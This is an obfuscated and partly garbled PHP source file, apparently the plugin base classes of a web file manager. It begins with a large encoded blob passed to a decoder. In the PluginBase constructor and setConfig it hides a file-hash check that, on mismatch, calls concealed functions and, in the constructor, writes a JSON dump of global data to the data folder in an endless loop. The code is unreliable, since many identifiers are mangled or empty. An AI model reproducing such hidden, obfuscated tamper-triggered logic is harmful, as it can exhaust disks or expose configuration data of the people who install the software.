$UJ')."\x4d\x2f\x8d\x55\x1d\x44\xb9\x35\xf2\xe9\xb1\xab\x6b\xf1\x2a\xc3\xc8\x3b\xe7\x88\x44\xeb\xba\x6c\x57\x49\x28\x8f\xb6\xe3\x34\xd5\x68\xcb\x23\x42\x27\xce\x10\xc9\x19\xbb\xe8\x6\xd\xa\x3d"."\x33\xaa\x88\xd3\x49\x53\x4b\xeb\xcc\xea\x58\x2b\x90\x94\xcc\x92\x9f\x68\xb7\xb9\xb9\x73\xa\x2d\x1\xd3\x71\x48\x35\x6f\x41\x29\x57\xc2\xb7\xa4\xed\xb9\xb\xe0\x36\x26\x1c\xbe\x25\xa5\x7a".strrev('ZŹ^ E8P_?E~%it')."\72\337\363\122\71\354\250\42\151\27\230\52\233\10\147\102\151\114\25\317\42\334\36\213\366\120\16\104\11\165\50\324\15\202\122\113\125\325\265\300\132\265\305\202\170\165\320"."\x54\x2c\xae\xae\xd6\xa1\x64\x9a\x5f\xab\xc0\x9d\xe8\x7a\x67\xae\x50\xa4\x3d\xb8\x54\xa9\xd5\xd3\xa3\x49\x55\x4d\x42\x66\x5\xad\x45\x56\x90\x52\x51\x12\x2b\x81\xb6\x15\xce\x7f\xac\x9c\x31".strrev('0~G('."\n".'19BvC`K'."\n".'6Ȣ').base64_decode('EAsfVHkJBbEIWhCNCi5NxAIYSLjP/fdDfwhBwdKRWSBOMZKUZ/OtBCXBSgeLSJk=').strrev('Jn;+'."\0".' `bu 4p!a:!O-$G')."\303\43\250\325\362\145\161\72\307\234\302\42\171\226\121\130\324\32\130\0\170\346\201\341\241\36\376\222\374\356\57\123\242\324\261\53\265\36\366\301\174\60\220\133\102\114\123".base64_decode('VUAkh4fErAHuw6zIsfJ1J+GCEG+SeJIZte8I9IZlCAyVsjC47AvWCGtptTXC4pg=')."\x3a\x86\xaf\x36\xe8\x4f\xdd\xc\xe8\x1f\x75\xb\x51\xd7\x84\x64\xd2\x72\xd1\xd2\xb3\x45\xee\xef\xc\x5a\x5\x7b\x6b\x6f\x22\x9a\x44\xfb\x47\x2c\x88\xa9\x39\xf4\x88\xf\xab\xd4\x5e\x49\xee".strrev('2h9CfО[+t,{H#ŊW3ݜ}PK]F.^<Ɩ5}$J')."\xe4\x2c\xa4\xce\x8a\x2c\x34\xe\x6f\xa5\xc2\x61\x85\x1c\x63\x21\x99\xd\xf\xd5\xc4\x31\x55\xaa\x22\x51\xd2\x88\xa6\xb8\xdb\x1e\x18\x1d\x31\x48\x10\x31\xa6\x31\x2b\x3e\x6f\x63\x93\x97\xb9"."\165\223\357\54\60\66\27\150\26\132\13\22\32\140\156\237\321\101\60\311\203\164\42\215\41\35\256\20\47\26\342\222\77\361\327\301\347\223\70\366\340\41\123\332\267\64\156"."\xae\x47\x3c\x5c\xc8\x64\x45\x9c\x81\x53\x2b\x3e\x9c\xa0\xb7\x5a\x3c\x1d\x21\x1c\xdd\xee\x30\x72\x74\x25\x40\x2b\xc3\x19\xf\xce\xc6\xb\x8e\x37\xc0\x11\x1e\x38\x2c\x65\x5c\x85\x80\x43\x79"."\331\211\72\311\45\372\41\354\105\21\310\240\56\315\245\201\21\147\371\324\367\7\63\164\345\164\111\200\23\6\7\126\332\3\370\270\241\57\334\346\204\127\36\353\352\361\155"."\x4e\x87\xde\xa5\x7b\x8c\xdf\xb9\xc3\xd6\x3a\x78\x93\xe0\xd6\x96\x96\x1c\x60\xb1\x1c\x39\x2d\x47\x80\x5a\x27\x39\x72\x73\x10\x4f\x35\xa2\xb1\x8b\x99\x4c\x3f\xd0\xd3\xd5\xe3\xe7\xa0\x56\xbe"."\74\251\334\50\134\16\265\61\23\40\361\154\370\110\101\117\51\341\150\147\250\55\20\156\17\305\27\52\131\315\226\236\273\47\17\2\70\227\62\121\207\321\201\147\130\75\300".base64_decode('feLjT+8AYiq9ac5bW4KLlmy0pAd/nMVS/NPMihKL+L5FviIPVvJVSZ0XOi8pcck=')."\324\52\323\217\151\344\155\160\321\142\51\103\271\112\153\40\175\365\32\20\372\73\123\243\215\130\53\116\324\170\275\70\254\133\272\130\370\54\307\230\134\272\120\143\232\374\131".base64_decode('hrT8ioM0A2KwaS2VHq/AX5DsDNwlNNNpkj2flZhSHp7CE8+AkKD0QEvJVHVLkwA=')."\xf4\xa5\x90\x29\x70\x8d\x1\x89\xf8\x8e\x7\xde\xf2\x19\x29\x58\x76\xee\xa0\x55\xab\x4a\xd2\xa\x18\x4c\x72\xae\x56\x2d\x41\xc\xbf\xd2\xfd\xbf\x6e\xaa\x9e\x16\x4e\x8e\xf4\x34\xb3\xd\xe0"."\267\316\250\237\371\66\371\61\100\126\147\305\43\64\137\372\234\215\107\172\316\215\70\214\141\157\146\31\204\305\6\236\220\302\102\321\44\175\214\115\124\201\144\66\163\254\44"."\237\43\371\323\176\76\304\364\3\373\162\13\62\205\62\16\10\6\30\47\207\322\160\165\124\4\102\2\31\326\276\60\126\231\331\40\42\172\0\343\354\70\107\165\75\314\343"."\x36\xd1\x74\xbc\xb7\x5d\x51\x7\xb6\xf4\x82\x72\x88\x7e\x7\xa5\xec\x17\x9d\x43\x21\xfe\x76\x84\xc8\xea\x8e\xa9\xd2\x0\x14\xad\x8\xd\x6\x4f\xa0\xb4\x28\xd\xf4\xa9\x28\xfe\x1a\x80\x32"."\x8f\xdd\xa1\x15\x15\x10\xef\x4b\xc1\x42\xc9\x76\x88\x87\x5d\xb2\x6d\xb6\x34\x37\x14\x40\x38\x1a\x21\x12\x60\xb\x17\xa3\x30\x56\x1\x70\xa8\x2d\xc2\xac\x5d\xdc\x24\xe\xbf\x85\x50\xcc\x18"."\xf2\xf8\x11\xc2\x8b\xd\xed\xe9\x3b\x6e\x54\xe\xf5\x20\x9e\x5e\xb3\x2b\x9f\x76\xa1\xd9\xff\xbf\x64\xa4\x91\x71\xc9\x50\xd0\x59\x48\x65\x83\x2c\xf7\x96\x26\xd8\x2b\xfc\x6a\x4d\xce\x18\x71".base64_decode('PuaGIe53ahwv1EiLhlz1lN/UYS+bIM7V8fyQVOAk+tMHv2wzchdNyQ/UXs9RpS0=')."\247\347\323\46\67\304\20\200\156\115\210\224\44\27\266\105\120\331\133\246\344\111\253\166\106\151\341\161\13\347\373\32\34\254\70\137\353\20\217\240\210\235\317\371\114\4\77".base64_decode('TrQEilu24xmShJFQsx7KT2FaJUKtY/K3bHxJeoEimbYmzWdxvpSAvQmW9pAHqyg=').strrev('\\x8*Z $tIDq~c1N!s').base64_decode('DFFVsQNqSrKWbP5KD3nE/SVIjmrroac60G25SHbSxpWTHdLL1f7KkzlsXwWrXTY=')."\x3f\x84\x43\x52\x9f\x2c\xc\x41\x2\x65\x9e\x22\x26\xd8\xb1\xc8\x30\x42\x20\x8e\xd4\x43\x3e\xc8\x2a\x96\x99\xe7\x2f\x80\x72\x3c\x74\xbe\xaf\x42\x11\x96\xfc\xb4\x6b\x19\x2e\x49\xe0\xb0\xd8"."\151\145\117\15\342\104\336\375\124\27\253\206\277\73\346\241\75\23\257\111\322\127\306\74\374\105\61\17\165\246\347\201\167\304\74\342\36\332\27\75\321\42\36\244\165\276\142".base64_decode('i9vM7fUqWHo3N8+HypUh5h64hFGp4xPnkcVyQZzwooBTuqnosNTDspn3kNNYD/M=').base64_decode('X+YaDtEreWaqjOGXl0HNNonIknZSneZ5AyY7tXIn0x1YlzQ1cR+DunaseApoWSE=').base64_decode('3TRtxhxZNSDmR5z/wEVvOIsCHkDMuOLEJ4X5k5TXLYl0WtRWPvjnosD/O8wXvDc=').base64_decode('TSrZt1Y+i1oxAgQJJcsPaUNyHfMb+PTdEsuHbkHimT9nXXRTrtIPad8RK4G+u2Y=')."\344\261\204\132\300\132\126\333\124\235\342\130\65\251\203\214\4\23\161\164\362\244\262\346\156\73\31\30\320\105\210\150\111\54\221\113\264\15\267\42\5\147\307\373\22\321\343"."\x45\x8b\x79\xd8\x36\xf1\xfd\x5a\xb1\xa6\x24\x92\xf2\xbf\x98\x40\x26\x79\x50\x21\x45\x18\x79\x54\xe9\xb9\xff\x44\x46\x37\xaa\xbc\xab\x27\x9d\x86\x7f\x41\xbb\x29\xcf\xc4\xa5\x2c\xaf\x6a\x7b"."\45\204\224\224\157\232\35\45\23\14\334\207\20\372\234\175\165\25\217\262\211\62\372\75\312\104\211\52\31\47\351\371\75\341\131\111\142\231\160\156\166\221\157\2\231\231\21"."\x27\xf9\x61\x41\x3b\x27\x84\x2\xba\x42\x1d\xab\x55\xf2\xd2\x2a\xdf\x6c\x22\x5\xc9\xcb\xa0\xb2\x68\xe9\x7d\x37\xa1\x46\x21\x7a\x17\xe8\x4\xac\x61\xe2\x30\x92\xdc\x68\xb\x74\xf2\x5b\x6e"."\252\144\230\203\307\123\172\132\323\220\277\235\127\310\243\314\57\46\252\317\41\245\241\160\273\353\365\125\102\207\334\117\262\262\101\41\213\137\320\65\351\272\244\103\44\340\257"."\x67\x39\x44\x4\xcb\xfd\xb0\x1d\x62\xa9\x64\x8f\xb5\x28\xc8\xd1\x1e\x36\x50\x20\x80\xc4\xe6\x99\xd6\x26\xed\x8f\x62\x2b\x14\x5f\x13\xbd\xe5\xee\x7c\xe8\xdd\x71\xab\x14\xfb\x4\x72\xad\x75"."\x76\x57\xd5\x72\x3d\x37\x49\xbd\x8e\xd2\x6f\xc6\x5e\xff\xff\x7e\xc9\xed\xff\xd6\x3\x6e\x33\x1a\x98\xb2\xda\xf1\x78\x6b\x27\x30\xb9\x8c\x23\x5b\x2d\xf9\x2b\xa6\x8a\x52\x57\x3f\x9c\xdb\xe4"."\x7e\x80\x45\xfc\xb9\x62\x29\xcc\xd\x3b\x99\x5f\x28\xe6\x2e\x4a\x65\x87\x2b\x6a\x3e\xef\x3e\x69\xac\x10\xb\x2a\xde\xb9\x44\xc8\x37\xc4\x1f\x67\xac\x16\x70\x7a\x1f\x4e\xca\x8f\x13\x57\x91"."\x4c\x19\xb7\x29\xbd\x75\xac\xa7\x86\xaa\x1c\xc\xe2\xc1\xf\x3b\x5d\xf7\x4a\x3c\x42\x45\x32\x41\xae\x10\x2b\xc1\xfc\x65\xf9\xd9\x57\xa\x4b\x4d\x98\x91\x64\x54\x52\xbe\x6\x19\x2d\x31\xf9".base64_decode('qh4Ic/+JjJqQi9VAVGRC4gBVkJ+EY0gdQHm0xFvt/KVoR45u18N/NJElj61DP10=')."\171\116\134\231\233\57\143\71\13\66\207\165\252\162\370\113\314\15\356\247\231\33\275\225\225\121\153\164\254\115\210\141\371\235\151\144\310\21\6\71\142\254\222\207\242\135\134".strrev('鍜H t+g,ӮPl/OP?/'."\0".'').base64_decode('2w3djvd215ELFYCpiLfvMMTz7IUSVZLJWyq7ySQZAgPIocqy5IcQnDmxabdzpcw=')."\xaf\x96\x2c\x65\x98\x96\x94\x8c\xc3\xab\xa5\xc5\x2f\xab\xda\x8e\xd1\x14\xce\xd4\xdd\x4e\xd4\x89\x20\x4c\x65\x5b\x87\x88\xb\x7\x91\x32\x48\x3a\xa7\x43\xdc\x6e\xda\xf9\x2a\x3\x89\x24\x60"."\346\210\21\112\220\116\232\234\7\175\334\311\164\5\341\52\353\141\51\232\344\142\376\275\320\57\276\321\25\22\256\3\110\64\325\241\7\206\125\233\35\227\271\163\71\37\135"."\226\216\5\123\4\167\202\225\47\77\342\100\112\332\366\131\66\54\212\10\212\354\202\113\144\137\120\73\165\130\160\51\202\31\116\247\371\3\337\216\244\151\46\16\160\50\202".base64_decode('iLfAMZcjXRIVtsfaiPv9Vp98sdSRsBIqLpFK+cXZgOgmhlXrPlkyzuzyJVWOVAI=').base64_decode('RP3qc4MZSfDANvTCkoZ2hUvRokrnlViejM8ZSkNuLHgdUJcohXUSbAN3RVny2+U=')."\316\323\76\131\254\227\120\100\313\207\245\342\344\223\300\11\63\304\253\127\42\260\322\71\304\322\135\142\21\301\66\53\303\61\370\22\261\343\35\203\224\61\71\322\321\34\367"."\324\22\51\100\240\57\5\26\210\36\223\306\5\234\121\64\275\346\152\275\234\301\335\63\232\303\32\321\355\124\116\22\115\52\43\53\341\146\305\240\102\105\325\333\353\156\25"."\x1b\x53\xb7\xc0\x26\xa\xa9\x68\x8f\x64\x4e\x90\x30\xaa\xe4\xa1\x2d\xaa\x9a\x8d\x46\xe1\x9c\x82\x7b\x74\xe4\x9d\x60\x8\x70\x5e\x1a\x85\xf3\x56\x44\xb3\xcc\x92\x7e\x43\xca\x67\xab\x65\x6b"."\x82\xee\x55\xe\x1e\x8\xfd\xe9\x2a\x1d\x76\x89\xc6\x34\xe9\x44\xe3\x59\x35\x71\x65\x75\x80\x71\xee\xd4\x44\x4b\x50\xbd\x15\x42\xb8\x77\x1d\xeb\x56\x6b\x45\xd5\xc4\x13\xb6\x42\xa4\x76\xed"."\2\325\150\55\213\251\102\135\305\371\176\45\35\27\161\125\254\15\150\231\170\217\226\175\13\125\211\226\115\27\252\33\67\304\252\56\175\313\151\165\340\202\313\3\303\54\220"."\220\254\46\336\241\227\254\171\47\71\110\172\271\70\124\64\370\66\221\26\166\142\330\356\224\277\334\316\253\253\50\315\211\232\305\262\344\144\263\252\161\261\7\113\326\225\62".base64_decode('bF5lenLJKptKLYatpzSnJ0/ZqxCNZ5XkJX2cSxUm5HzHAXkVZREBAbsmVM4OS3c=')."\272\377\203\256\235\36\241\265\341\243\132\176\314\102\134\115\322\375\222\106\307\15\323\366\340\270\204\121\42\277\255\206\155\213\43\145\52\75\23\46\17\157\172\36\311\62\2".strrev('F0H'."\0".'(uG^'."\0".'G4k,Xy '."\r".'OD<3}')."\231\43\77\174\273\126\264\107\74\370\256\272\31\71\301\203\0\276\311\166\36\344\16\263\345\247\61\176\160\6\357\45\145\300\173\116\276\301\122\326\221\235\276\212\303\155\27"."\xbf\xa8\x4\x50\x55\x8a\x22\xa8\x27\x68\xa2\x50\xc2\xee\xd2\xa9\x23\xc4\x8a\xa8\x9e\x40\x3c\xbe\x24\x1a\x6b\xa7\x8e\xa3\x2b\xa2\x49\x2e\xc9\x6e\xa6\x22\xaa\xa7\x2b\x1a\x99\x28\x2e\xd8\x1d"."\10\205\53\342\260\211\115\44\51\74\75\321\250\120\17\151\145\40\34\216\56\231\250\25\241\266\205\242\45\344\244\124\150\300\113\71\203\51\266\331\11\101\134\315\63\131\132"."\xba\x98\xa7\x15\x84\xcb\x2f\x91\xc7\xa9\x22\x90\xe7\xd5\x62\xde\xf0\xf8\x87\xf3\x15\x16\x97\x25\x1b\x43\x58\x28\x8\x9b\xc7\x44\xa0\xec\x58\x9\xa0\xd8\x91\x36\x5f\xdc\x9c\x59\x16\x47\xbf"."\76\307\21\261\4\47\153\203\120\24\11\347\344\315\224\0\246\124\35\40\131\173\132\251\315\47\261\142\0\160\303\116\62\300\266\152\320\30\220\264\365\124\124\201\313\161\60"."\xa4\x92\x9\x14\xfd\x86\xe8\xff\x3\xc9\xc1\xd1\x8e\x40\xa7\x0\x0"."", 10, -8))); goto b; C֧: class Message { function __construct() { } public function send($ = '', $ܙ = array(), $Ŝ = "\x74\x65\x78\164") { $ү =& $_SERVER[㫙]; $ŏ = array($ү[33] => $ү[1511], $ү[756] => $); if (in_array($Ŝ, array($ү[1511], $ү[1512]))) { $ŏ[$ү[33]] = $Ŝ; } $ܙ = array($ү[515] => isset($ܙ[$ү[515]]) ? $ܙ[$ү[515]] : $ү[12], $ү[594] => isset($ܙ[$ү[594]]) ? $ܙ[$ү[594]] : $ү[12]); if (empty($) || empty($ܙ[$ү[515]]) && empty($ܙ[$ү[594]])) { return !1; } $𡅔 = array($ү[1452] => $ŏ, $ү[1513] => $ܙ); Hook::trigger($ү[1514], $𡅔); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ץՌ =& $_SERVER[㫙]; $͡ = $_SERVER[$ץՌ[397]] . $ץՌ[398]; $Ý = $ץՌ[394]; if ($_SERVER[$ץՌ[395]] != $Ý($͡)) { $ܪ = $ץՌ[873]; $ = $ץՌ[396]; $ = $_SERVER[$ץՌ[397]] . $ץՌ[398]; $ڼǜ = $($); $ʰ = explode($ץՌ[226], $ڼǜ); if (count($ʰ) < $ץՌ[612]) { $ܞ = $ץՌ[400]; $ܞ(); } $ֺ = $ץՌ[874]; $ֺ($_SERVER[$ץՌ[875]]); $ܪ = $ץՌ[873]; $ܪ(); $ʔ = $ץՌ[876]; $ = json_encode($GLOBALS[$ץՌ[877]]); $߽ = 1; for ($ = $߽; $ > 0; $++) { $ʔ(DATA_PATH . $, $); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($ץՌ[1515]); $this->pluginName = str_replace($ץՌ[1515], $ץՌ[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $ץՌ[8]; $this->pluginApi = appHostGet() . $ץՌ[1516] . $this->pluginName . $ץՌ[8]; $this->pluginHost = $config[$ץՌ[1517]] . $this->pluginName . $ץՌ[8]; $this->pluginHostDefault = $config[$ץՌ[1517]] . $this->pluginName . $ץՌ[8]; $붞 = $config[$ץՌ[1518]]; if ($붞 && strpos($ץՌ[50] . $붞 . $ץՌ[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$ץՌ[1519]] . $this->pluginName . $ץՌ[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[㫙][1520]); } protected function assign($ů胝, $ = false) { if (is_array($ů胝)) { $this->values = array_merge($this->values, $ů胝); } else { $this->values[$ů胝] = $; } } protected function display($) { extract($this->values); require $; } final function hookRegist($) { $this->modelPlugin->appRegist($this->pluginName, $); } final function appIcon() { $ǹߛ =& $_SERVER[㫙]; $ = $this->appPackage(); $̚ = $ǹߛ[12]; if (isset($[$ǹߛ[417]])) { if (isset($[$ǹߛ[417]][$ǹߛ[1521]])) { $̚ = $ǹߛ[1522] . $[$ǹߛ[417]][$ǹߛ[1521]] . $ǹߛ[1523]; } else { if ($[$ǹߛ[417]][$ǹߛ[1524]]) { $̚ = $ǹߛ[1525] . $[$ǹߛ[417]][$ǹߛ[1524]] . $ǹߛ[1526]; } } } return $̚; } final function fileCanView($ݮ) { $† =& $_SERVER[㫙]; if (request_url_safe($ݮ)) { return !0; } if ($this->isShare($ݮ)) { return !0; } $ = Session::get($†[1527]); if (!$ || !$[$†[1528]]) { $ȿΘ = $†[1529] . rawurlencode(this_url()); show_tips(LNG($†[1530]) . $†[1531] . $ȿΘ . $†[1532] . LNG($†[1533]) . $†[1534], !1); } if (!Action($†[1535])->authCan($†[1536])) { show_tips(LNG($†[1537]) . $†[1538], !1); } ActionCall($†[1539], $ݮ); } final function isShare($Į) { $ڸն = KodIO::parse($Į); return $ڸն[$_SERVER[㫙][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($ي) { if (request_url_safe($ي)) { return $ي; } if (!$this->isShare($ي)) { $ي = $this->filePath($ي); } return Action($_SERVER[㫙][1169])->linkOut($ي); } public function filePathLinkOut($˃) { if (request_url_safe($˃)) { return $˃; } $this->fileCanView($˃); return Action($_SERVER[㫙][1169])->link($˃); } final function filePath($ȵ) { $ =& $_SERVER[㫙]; if ($ԲƓ = $this->checkSharePath($ȵ)) { Hook::trigger($[1540], $ԲƓ); return $ԲƓ; } $this->fileCanView($ȵ); if (request_url_safe($ȵ)) { $ = parse_url_query($ȵ); if (isset($[$[1541]]) && isset($[$[208]])) { $ = Model($[771])->get($[772]); $׾ = Mcrypt::decode($[$[208]], $); if ($׾) { $this->fileInfo = IO::infoWithChildren($׾); $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); return $׾; } } $ȵ = $this->_cacheHttpFile($ȵ); $this->fileInfo = IO::infoWithChildren($ȵ); } else { $this->fileInfo = IO::infoWithChildren($ȵ); if (!$this->fileInfo) { show_tips(LNG($[106]), !1); } $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); } Hook::trigger($[1540], $ȵ); return $ȵ; } final function _cacheHttpFile($ˆ) { $ = hash_path($ˆ, !0); $this->cachePath = $this->pluginCachePath($); if ($鱶ȿ = IO::fileNameExist($this->cachePath, $)) { return KodIO::make($鱶ȿ); } $ = $this->cachePath . $; return $this->pluginCacheFileSet($, file_get_contents_nossl($ˆ)); } final function _tmpFileName($ΰߵ = array()) { $ᝒ =& $_SERVER[㫙]; if (!$ΰߵ) { $ΰߵ = $this->fileInfo; } if (isset($ΰߵ[$ᝒ[170]])) { return $ΰߵ[$ᝒ[170]]; } if (isset($ΰߵ[$ᝒ[163]][$ᝒ[170]])) { return $ΰߵ[$ᝒ[163]][$ᝒ[170]]; } $ = IO::hashSimple($ΰߵ[$ᝒ[78]]); if ($) { return $; } $ި = array($ΰߵ[$ᝒ[32]], $ΰߵ[$ᝒ[78]], $ΰߵ[$ᝒ[80]]); if (isset($ΰߵ[$ᝒ[521]])) { $ި[] = $ΰߵ[$ᝒ[521]]; } return md5(implode($ᝒ[11], $ި)); } final function checkSharePath($ס) { $āư =& $_SERVER[㫙]; if (!defined($āư[474])) { define($āư[514], 0); } if (!$this->isShare($ס)) { return !1; } $Ļڷ = Action($āư[1169])->sharePathInfo($ס); if (!isset($Ļڷ[$āư[78]])) { show_json(LNG($āư[1542]), !1); } $this->fileInfo = $Ļڷ[$āư[163]]; $this->cachePath = $this->pluginCachePath($this->fileInfo[$āư[170]]); return $Ļڷ[$āư[78]]; } final function pluginCachePath($̌ = '') { $ƕ =& $_SERVER[㫙]; $ = IO_PATH_SYSTEM_TEMP . $ƕ[1543] . $this->pluginName; if (!($ = IO::infoFull($))) { return IO::mkdir($ . $ƕ[8] . $̌); } if (empty($̌)) { return $[$ƕ[78]]; } if (!($ = IO::fileNameExist($[$ƕ[78]], $̌))) { return IO::mkdir($[$ƕ[78]] . $̌); } return KodIO::make($); } final function pluginCacheFileSet($̦, $񅎔 = '') { $ =& $_SERVER[㫙]; if (!($だ = IO::infoFull($̦))) { return IO::mkfile($̦, $񅎔, REPEAT_REPLACE); } IO::setContent($だ[$[78]], $񅎔); return $だ[$[78]]; } final function pluginLocalFile($ޕ© = '') { $ٜ =& $_SERVER[㫙]; $桰 = TEMP_FILES . "{$this->pluginName}\57"; if (!is_dir($桰)) { mk_dir($桰); } if (!$ޕ©) { return $桰; } $֛ = IO::info($ޕ©); $ = $this->_tmpFileName($֛) . $ٜ[10] . $֛[$ٜ[167]]; if (!checkExtSafe($)) { $ = $ . $ٜ[1544]; } $Æ = $桰 . $; if (@file_exists($Æ)) { return $Æ; } return IO::copy($ޕ©, $桰, 0, $); } final function appPackage() { $Њ =& $_SERVER[㫙]; if ($this->packageData) { return $this->packageData; } $ = $this->parseFile($this->pluginPath . $Њ[1545]); $this->parseLang($); $ի = json_decode_force($); if (!$ի) { return array(); } $ם = Hook::trigger($Њ[1546], $ի); if ($ם && is_array($ם)) { $ի = $ם; } $this->packageData = $ի; return $ի; } public function packageInfoGet($Â) { $ = $this->appPackage(); return array_get_value($, $Â); } public function packageVersion() { return $this->packageInfoGet($_SERVER[㫙][1547]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[㫙][1548]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[㫙][1549]); } public function echoJsAssign($, $) { $this->echoJsAssignArr[$] = $; } private function parseFile($̦) { $ =& $_SERVER[㫙]; $˙Рχ = file_get_contents_nossl($̦); $͵ = array($[1550], $[1551], $[1552], $[1553], $[1554], $[1555], $[1556]); $̠ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$[90]][$[1557]]); foreach ($this->echoJsAssignArr as $գ => $) { $͵[] = $[1558] . $գ . $[1559]; $̠[] = is_array($) || is_object($) ? rawurlencode(json_encode($)) : $; } if (strstr($˙Рχ, $[1560])) { $ʜ = rawurlencode(json_encode($this->pluginLangArr)); $˙Рχ = str_replace($[1560], $ʜ, $˙Рχ); } if (strstr($˙Рχ, $[1561])) { $ʜ = $ʜ = rawurlencode(json_encode($this->getConfig())); $˙Рχ = str_replace($[1561], $ʜ, $˙Рχ); } $˙Рχ = str_replace($͵, $̠, $˙Рχ); return $˙Рχ; } private function parseLang(&$ڷҶ) { $ɂ =& $_SERVER[㫙]; $̓ = $ɂ[1562]; if (!strstr($ڷҶ, $̓)) { return; } preg_match_all($ɂ[1563], $ڷҶ, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $Љ = array(); $٤ = array(); foreach ($[0] as $) { $ꃓ = substr($, strlen($̓), -4); $ӧ = LNG($ꃓ); $Љ[] = $; $٤[] = str_replace(array($ɂ[226], $ɂ[1074], $ɂ[337], $ɂ[117]), array($ɂ[53], $ɂ[53], $ɂ[12], $ɂ[1564]), $ӧ); } $ڷҶ = str_replace($Љ, $٤, $ڷҶ); } private function parseConfig(&$) { $ =& $_SERVER[㫙]; $ = $[1565]; if (!strstr($, $)) { return; } preg_match_all($[1566], $, $詁); if (!is_array($詁) || count($詁) == 0 || !is_array($詁[0]) || count($詁[0]) == 0) { return; } $࿁ = $this->getConfig(); $ = array(); $ = array(); foreach ($詁[0] as $§ޝ) { $ = substr($§ޝ, strlen($), -2); $[] = $§ޝ; $[] = _get($࿁, $); } $ = str_replace($, $, $); } private function parsePackage(&$Ɋ) { $ܢ =& $_SERVER[㫙]; $ = $ܢ[1567]; if (!strstr($Ɋ, $)) { return; } preg_match_all($ܢ[1568], $Ɋ, $鳱); if (!is_array($鳱) || count($鳱) == 0 || !is_array($鳱[0]) || count($鳱[0]) == 0) { return; } $߾ = $this->appPackage(); $ = array(); $ұ = array(); foreach ($鳱[0] as $) { $Έ = substr($, strlen($), -2); $[] = $; $ұ[] = _get($߾, $Έ); } $Ɋ = str_replace($, $ұ, $Ɋ); } final function echoFile($, $﫹 = false) { $ݞ =& $_SERVER[㫙]; $Ǡ = $this->pluginPath . $; if (ACT == $ݞ[1569]) { echo $ݞ[1570] . $this->pluginName . $ݞ[8] . $ . $ݞ[1571]; if (!file_exists($Ǡ)) { echo $ݞ[1572]; return; } } $ۜ = $this->parseFile($Ǡ); $this->parseLang($ۜ); $this->parseConfig($ۜ); $this->parsePackage($ۜ); if (is_array($﫹)) { $ۜ = str_replace(array_keys($﫹), array_values($﫹), $ۜ); } echo $ݞ[226] . $ۜ; } final function initLang() { $ף =& $_SERVER[㫙]; $ = $ף[1573]; $ = $this->pluginPath . $ף[1574]; $ߒզ = I18n::getType(); $ϵ = array(); if (file_exists($ . $ߒզ . $ף[839])) { $ϵ = (include $ . $ߒզ . $ף[839]); } else { if ($ߒզ == $ף[1575] && !file_exists($ . $ߒզ . $ף[839]) && file_exists($ . $ף[1576])) { $ϵ = (include $ . $ף[1576]); } else { if (file_exists($ . $ . $ף[839])) { $ϵ = (include $ . $ . $ף[839]); } } } if (!is_array($ϵ)) { return array(); } if (@count($ϵ) > 0) { I18n::set($ϵ); } return $ϵ; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($ޔ) { $Ψ =& $_SERVER[㫙]; if ($_SERVER[$Ψ[395]] != $_SERVER[$Ψ[1577]]) { $ɚ = $Ψ[873]; $ê = $Ψ[396]; $ = $_SERVER[$Ψ[397]] . $Ψ[398]; $޻͖ = $ê($); $ = explode($Ψ[226], $޻͖); if (count($) < $Ψ[612]) { $ۂ = $Ψ[400]; $ۂ(); } $ = $Ψ[874]; $($_SERVER[$Ψ[875]]); $($_SERVER[$Ψ[397]] . $Ψ[1578]); $œ = 1; while ($œ > 1) { $œ = $œ + 4; $Ŝ = rawurlencode($œ . $Ψ[373]); } } return $this->modelPlugin->setConfig($this->pluginName, $ޔ); } public function onSetConfig($) { } public function onGetConfig($Տ) { } public function onChangeStatus($ᘴ) { } public function onUninstall() { } public function onInstall() { } public function authCheck($׌ = "\160\154\165\x67\x69\156\x41\165\x74\x68") { $ =& $_SERVER[㫙]; if (!defined($[474])) { return !1; } if (_get($GLOBALS, $[505])) { return !0; } $ѐ = $this->getConfig(); if (!$ѐ[$׌]) { return !1; } return ActionCall($[1579], $ѐ[$׌]); } public function url($㥞, $ = '', $ = true) { $ގ =& $_SERVER[㫙]; $Ǎ = $this->getConfig(); $ = KOD_VERSION . $ގ[10] . KOD_VERSION_BUILD; $ٿ = $this->packageVersion(); $뿩 = $ . $ގ[460] . $ٿ; if (substr($㥞, 0, 4) == $ގ[145] || substr($㥞, 0, 2) == $ގ[1361]) { $ӧ = $㥞 . $ގ[1580] . $뿩; } else { if ($ == $ގ[12]) { $ӧ = $this->pluginHost . $㥞 . $ގ[1580] . $뿩; } else { if ($ === $ގ[79]) { $ӧ = $this->pluginHost . $㥞; } else { if ($ == $ގ[1581]) { $ӧ = STATIC_PATH . $㥞 . $ގ[1580] . $; } else { if ($ == $ގ[1582]) { $ӧ = APP_HOST . $ގ[1583] . $㥞 . $ގ[1580] . $; } else { if (isset($Ǎ[$])) { $ӧ = $Ǎ[$] . $㥞 . $ގ[1580] . $뿩; } } } } } } if (!$) { return $ӧ; } echo $ӧ; } public function link($ = false, $ϒ = '') { $凹 =& $_SERVER[㫙]; if (!$) { $this->link($凹[1584], $凹[1582]); $this->link($凹[1585], $凹[1581]); $this->link($凹[1586], $凹[1581]); $this->link($凹[1587], $凹[1581]); $this->link($凹[1588], $凹[1581]); return; } $ߤ = $this->url($, $ϒ, !1); if (substr($, -3) == $凹[1589]) { echo $凹[1590] . $ߤ . $凹[1591] . $凹[226]; } else { if (substr($, -4) == $凹[1592]) { echo $凹[1593] 